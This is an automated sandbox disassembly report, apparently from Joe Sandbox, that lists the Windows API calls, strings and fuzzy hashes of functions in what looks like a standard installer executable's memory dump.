Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: f6cbdb8537d9c16edabc791460abe12f90041ff6636d8a1f2c8cc05f1c6427ba
Instruction ID: cb6f0490afd218b95da4ce8f8645ed9f2a2dc6dad26b5163c80864a666f03042
Opcode Fuzzy Hash: f6cbdb8537d9c16edabc791460abe12f90041ff6636d8a1f2c8cc05f1c6427ba
Instruction Fuzzy Hash: 40C1AFB1600305EFDB206F61EE85E2B7A68FB85706B54053EFA81B11F0CB799841DB2D

Function 00403AE0 Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406806: GetModuleHandleA.KERNEL32(?,00000020,?,00403537,0000000B), ref: 00406818
Part of subcall function 00406806: GetProcAddress.KERNEL32(00000000,?), ref: 00406833

lstrcatW.KERNEL32(00442000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,75573420,00442800,00440000,00000000), ref: 00403B61
lstrlenW.KERNEL32(00432EA0,?,?,?,00432EA0,00000000,00440800,00442000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,75573420), ref: 00403BE1
lstrcmpiW.KERNEL32(00432E98,.exe,00432EA0,?,?,?,00432EA0,00000000,00440800,00442000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 00403BF4
GetFileAttributesW.KERNEL32(00432EA0), ref: 00403BFF
LoadImageW.USER32(00000067,?,00000000,00000000,00008040,00440800), ref: 00403C48

Part of subcall function 00406358: wsprintfW.USER32 ref: 00406365

RegisterClassW.USER32(00433EA0), ref: 00403C85
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C9D
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CD2
ShowWindow.USER32(00000005,00000000), ref: 00403D08
GetClassInfoW.USER32(00000000,RichEdit20W,00433EA0), ref: 00403D34
GetClassInfoW.USER32(00000000,RichEdit,00433EA0), ref: 00403D41
RegisterClassW.USER32(00433EA0), ref: 00403D4A
DialogBoxParamW.USER32(?,00000000,00403E8E,00000000), ref: 00403D69

Strings

RichEd20, xrefs: 00403D0E
RichEd32, xrefs: 00403D1C
Control Panel\Desktop\ResourceLocale, xrefs: 00403B14
.exe, xrefs: 00403BEE
RichEdit20W, xrefs: 00403D2C, 00403D32
_Nb, xrefs: 00403C64, 00403CCC
.DEFAULT\Control Panel\International, xrefs: 00403B4C
RichEdit, xrefs: 00403D3B

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1115850852
Opcode ID: 6d1db6ae39746cebd0a3dbab157a1a7a18d1e08731e996c6f126d26afefa6627
Instruction ID: ef062d508cd4fc62497976b4bc03dd7eae2cd9e8a178e807e7972486bae2ade7
Opcode Fuzzy Hash: 6d1db6ae39746cebd0a3dbab157a1a7a18d1e08731e996c6f126d26afefa6627
Instruction Fuzzy Hash: 9A61B8711447006EE320AF66AE46F2B3A6CEBC5B4AF40453FF941B61E1DB7D9901CA2D

Function 00404526 Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,?), ref: 004045C4
GetDlgItem.USER32(?,000003E8), ref: 004045D8
SendMessageW.USER32(00000000,0000045B,?,00000000), ref: 004045F5
GetSysColor.USER32(?), ref: 00404606
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404614
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404622
lstrlenW.KERNEL32(?), ref: 00404627
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404634
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404649
GetDlgItem.USER32(?,0000040A), ref: 004046A2
SendMessageW.USER32(00000000), ref: 004046A9
GetDlgItem.USER32(?,000003E8), ref: 004046D4
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404717
LoadCursorW.USER32(00000000,00007F02), ref: 00404725
SetCursor.USER32(00000000), ref: 00404728
LoadCursorW.USER32(00000000,00007F00), ref: 00404741
SetCursor.USER32(00000000), ref: 00404744
SendMessageW.USER32(00000111,?,00000000), ref: 00404773
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404785

Strings

N, xrefs: 004046C2

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N
API String ID: 3103080414-1130791706
Opcode ID: 3e7f1d81aaa2c81caad56aadef940d4d94f2f382e64dbbb27fd2036abddb4608
Instruction ID: bc177dfd6b6b6103f733ab6784bbaef7ca361af311f51bfa08924dfc74b84e38
Opcode Fuzzy Hash: 3e7f1d81aaa2c81caad56aadef940d4d94f2f382e64dbbb27fd2036abddb4608
Instruction Fuzzy Hash: 79618EB1A00209FFDB109F60DD85AAA7B69FB85314F00843AFA15B72D1D778AD51CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,?), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: b27a2b551f63a02a5ae57bcc50d46a19120317da1eaca0d31fe5953092f3d4ab
Instruction ID: eaab19ccb9cda740c31967da28403833e1322962c0e6ee158e4036cb66a51054
Opcode Fuzzy Hash: b27a2b551f63a02a5ae57bcc50d46a19120317da1eaca0d31fe5953092f3d4ab
Instruction Fuzzy Hash: ED418B71800209AFCF058FA5CE459AF7FB9FF44315F04802AF991AA1A0C738AA55DFA4

Function 0040605D Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,?,?,00000000,?,?,004061F8,?,?), ref: 00406098
GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 004060A1

Part of subcall function 00405E6C: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406151,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
Part of subcall function 00405E6C: lstrlenA.KERNEL32(00000000,?,00000000,00406151,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405EAE

GetShortPathNameW.KERNEL32(?,00431108,00000400), ref: 004060BE
wsprintfA.USER32 ref: 004060DC
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,00000004,00431108,?,?,?,?,?), ref: 00406117
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406126
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040615E
SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 004061B4
GlobalFree.KERNEL32(00000000), ref: 004061C5
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061CC

Part of subcall function 00405F07: GetFileAttributesW.KERNEL32(00443800,00403055,00443800,80000000,00000003,?,00000007,00000009,0000000B), ref: 00405F0B
Part of subcall function 00405F07: CreateFileW.KERNEL32(?,?,?,00000000,?,00000001,00000000,?,00000007,00000009,0000000B), ref: 00405F2D

Strings

[Rename], xrefs: 00406146, 00406158
%ls=%ls, xrefs: 004060D2

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 8cf52ef3d28b69686426f1a310d366aa70b295754e724b75f8fa2b44a42324d6
Instruction ID: d46549913b6b20842cf1787bef5cc60fb31ae9cbf3b8bb231415db86ef2d3bba
Opcode Fuzzy Hash: 8cf52ef3d28b69686426f1a310d366aa70b295754e724b75f8fa2b44a42324d6
Instruction Fuzzy Hash: 9D3135712017157BD2206B218D48F6B3A5CDF45754F15003AFE82FA2C3DA3CE9218ABD

Function 00404858 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004048A7
SetWindowTextW.USER32(00000000,?), ref: 004048D1
SHBrowseForFolderW.SHELL32(?), ref: 00404982
CoTaskMemFree.OLE32(00000000), ref: 0040498D
lstrcmpiW.KERNEL32(00432EA0,0042D268,00000000,?,?), ref: 004049BF
lstrcatW.KERNEL32(?,00432EA0), ref: 004049CB
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049DD

Part of subcall function 00405A5B: GetDlgItemTextW.USER32(?,?,00000400,00404A14), ref: 00405A6E

Part of subcall function 004066C0: CharNextW.USER32(?,*?|<>/":,00000000,00000000,75573420,00442800,00440000,004034A0,00442800,00442800,0040370F,?,00000007,00000009,0000000B), ref: 00406723
Part of subcall function 004066C0: CharNextW.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 00406732
Part of subcall function 004066C0: CharNextW.USER32(?,00000000,75573420,00442800,00440000,004034A0,00442800,00442800,0040370F,?,00000007,00000009,0000000B), ref: 00406737
Part of subcall function 004066C0: CharPrevW.USER32(?,?,75573420,00442800,00440000,004034A0,00442800,00442800,0040370F,?,00000007,00000009,0000000B), ref: 0040674A

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,?,?,0042B238,?,?,000003FB,?), ref: 00404AA0
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404ABB

Part of subcall function 00404C14: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CB5
Part of subcall function 00404C14: wsprintfW.USER32 ref: 00404CBE
Part of subcall function 00404C14: SetDlgItemTextW.USER32(?,0042D268), ref: 00404CD1

Strings

A, xrefs: 0040497B

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A
API String ID: 2624150263-3554254475
Opcode ID: 2962e740f6ae593f3d47cc50505c94d9ed2dda7bf4a20bc562bb36318661b148
Instruction ID: 0d1333b798dde08b2b35772059431d035751c92a28532a026af6b574b599a32b
Opcode Fuzzy Hash: 2962e740f6ae593f3d47cc50505c94d9ed2dda7bf4a20bc562bb36318661b148
Instruction Fuzzy Hash: 56A15EF1A00209ABDB11AFA5CD45AAFB7B8EF84314F10843BF601B62D1D77C99418B6D

Function 00403015 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 181memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403026
GetModuleFileNameW.KERNEL32(00000000,00443800,00000400,?,00000007,00000009,0000000B), ref: 00403042

Part of subcall function 00405F07: GetFileAttributesW.KERNEL32(00443800,00403055,00443800,80000000,00000003,?,00000007,00000009,0000000B), ref: 00405F0B
Part of subcall function 00405F07: CreateFileW.KERNEL32(?,?,?,00000000,?,00000001,00000000,?,00000007,00000009,0000000B), ref: 00405F2D

GetFileSize.KERNEL32(00000000,00000000,00444000,00000000,00441800,00441800,00443800,00443800,80000000,00000003,?,00000007,00000009,0000000B), ref: 0040308E
GlobalAlloc.KERNEL32(00000040,0000000B,?,00000007,00000009,0000000B), ref: 004031C4

Strings

soft, xrefs: 00403103
Null, xrefs: 0040310C
Error launching installer, xrefs: 00403065
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004031EB
Inst, xrefs: 004030FA

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-527102705
Opcode ID: a52360a1b04fecb28cdb34ea46c0a5e0142df37db4d5eb2ecb020a06199e7e0c
Instruction ID: 352fdba277142773567f3d30b5bba7b1c47688a28dd7517ec43723b707c69b17
Opcode Fuzzy Hash: a52360a1b04fecb28cdb34ea46c0a5e0142df37db4d5eb2ecb020a06199e7e0c
Instruction Fuzzy Hash: CF51D331904204ABDB109FA5DD85B9E7EACEB48356F24803BF910BA2D1C77C9F418B9D

Function 0040644E Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 209stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(00432EA0,00000400), ref: 0040658F
GetWindowsDirectoryW.KERNEL32(00432EA0,00000400,00000000,0042C248,?,004054B0,0042C248,00000000), ref: 004065A2
SHGetSpecialFolderLocation.SHELL32(004054B0,?,00000000,0042C248,?,004054B0,0042C248,00000000), ref: 004065DE
SHGetPathFromIDListW.SHELL32(?,00432EA0), ref: 004065EC
CoTaskMemFree.OLE32(?), ref: 004065F7
lstrcatW.KERNEL32(00432EA0,\Microsoft\Internet Explorer\Quick Launch), ref: 0040661D
lstrlenW.KERNEL32(00432EA0,00000000,0042C248,?,004054B0,0042C248,00000000), ref: 00406675

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040655F
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406617

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-730719616
Opcode ID: c4c9f8ebfe012ae1ac9f0905837fe323b2cacdb035eb6525edefd19b4086017f
Instruction ID: cd0f296135d024e5542a1133132ccafb23cc3a0c8fe84acec88ebf75cbd5934e
Opcode Fuzzy Hash: c4c9f8ebfe012ae1ac9f0905837fe323b2cacdb035eb6525edefd19b4086017f
Instruction Fuzzy Hash: 9C614471A00111AADF208F54DD41BBE37A5AF44314F26853FE943B62D0EB3E5AA2CB5D

Function 0040324C Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 166COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004032B6
GetTickCount.KERNEL32 ref: 0040335D
MulDiv.KERNEL32(7FFFFFFF,00000064,00000000), ref: 00403386
wsprintfW.USER32 ref: 00403399

Strings

A, xrefs: 0040330C
... %d%%, xrefs: 00403393
A, xrefs: 00403416
*B, xrefs: 00403277

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: *B$ A$ A$... %d%%
API String ID: 551687249-3485722521
Opcode ID: c428bd1eebc26d9bdb6e59043e84f0fe6d702dc36464175af9f301d14869d820
Instruction ID: 934ec796fb5923f126773143cacc3683187fa16e161fba292e3b1b9e9ada072f
Opcode Fuzzy Hash: c428bd1eebc26d9bdb6e59043e84f0fe6d702dc36464175af9f301d14869d820
Instruction Fuzzy Hash: 44518C71D00219DBCB11DF65EA84B9E7FA8AF01756F10817BEC10BB2C1C7789A40CBA9

Function 004043CE Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043EB
GetSysColor.USER32(00000000), ref: 00404429
SetTextColor.GDI32(?,00000000), ref: 00404435
SetBkMode.GDI32(?,?), ref: 00404441
GetSysColor.USER32(?), ref: 00404454
SetBkColor.GDI32(?,?), ref: 00404464
DeleteObject.GDI32(?), ref: 0040447E
CreateBrushIndirect.GDI32(?), ref: 00404488

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 288dbcc7c85f11a55b3e08142a2a7aff64d3670202badf385cb57de10b60d8c1
Instruction ID: dd0feedb065fecc26b382c70af4fe1a3d395924493241b124500faa7aa9dc668
Opcode Fuzzy Hash: 288dbcc7c85f11a55b3e08142a2a7aff64d3670202badf385cb57de10b60d8c1
Instruction Fuzzy Hash: 7C2174B15007059BCB30DF78DA08B5BBBF8AF81714B05892EE992B26E1D734E904DB58

Function 004026E4 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 00402750
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,?), ref: 0040278B
SetFilePointer.KERNEL32(?,?,?,?,?,00000008,?,?,?,?), ref: 004027AE
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,?,?,?,?,00000008,?,?,?,?), ref: 004027C4

Part of subcall function 00405FE8: SetFilePointer.KERNEL32(?,00000000,00000000,?), ref: 00405FFE

SetFilePointer.KERNEL32(?,?,?,?,?,?,00000002), ref: 00402870

Strings

9, xrefs: 00402733

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 939078a54e4475671e6551d3fd19772fabc7f31a6bf9158e4a480f344115c940
Instruction ID: fc85df120a24998764995467ff6edc9a451c04e372c05a6abf1f77cf4653f2d7
Opcode Fuzzy Hash: 939078a54e4475671e6551d3fd19772fabc7f31a6bf9158e4a480f344115c940
Instruction Fuzzy Hash: 5C51F975D00219ABDF20DF95CA89AAEBB79FF04344F10817BE501B62D0E7B49D828B58

Function 00405479 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042C248,00000000,?,755723A0,?,?,?,?,?,?,?,?,?,004033B0,00000000,?), ref: 004054B1
lstrlenW.KERNEL32(004033B0,0042C248,00000000,?,755723A0,?,?,?,?,?,?,?,?,?,004033B0,00000000), ref: 004054C1
lstrcatW.KERNEL32(0042C248,004033B0,004033B0,0042C248,00000000,?,755723A0), ref: 004054D4
SetWindowTextW.USER32(0042C248,0042C248), ref: 004054E6
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040550C
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405526
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405534

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: b2af606ead9b863f529dc3152d5ad601cd5d345789467c65e8690d0a39f03baf
Instruction ID: 1ccddca99fa11d5427df38f31253403cabd393798f33362a1a37d4b4032a7ea7
Opcode Fuzzy Hash: b2af606ead9b863f529dc3152d5ad601cd5d345789467c65e8690d0a39f03baf
Instruction Fuzzy Hash: 42219A71900518BBCB219F95DD85ACFBFB9EF45354F10803AF904B22A0C7798A908FA8

Function 00404D22 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D3D
GetMessagePos.USER32 ref: 00404D45
ScreenToClient.USER32(?,?), ref: 00404D5F
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D71
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D97

Strings

f, xrefs: 00404D73

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction ID: 7205eec21020573454be23e67ac2b5f41aa1c09cc3aa20a5ad054807a565c042
Opcode Fuzzy Hash: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction Fuzzy Hash: 63014C71900219BADB00DBA4DD85BFEBBBCAF54B11F10012BBA50F61C0D7B49A058BA5

Function 00402F2B Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,000000FA,00000000), ref: 00402F49
MulDiv.KERNEL32(?,00000064,?), ref: 00402F74
wsprintfW.USER32 ref: 00402F84
SetWindowTextW.USER32(?,?), ref: 00402F94
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402FA6

Strings

verifying installer: %d%%, xrefs: 00402F7E

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 5b1bc627dd36a5102c32c12b14091c8dec43231046f13c1edcd0296a8f8e997f
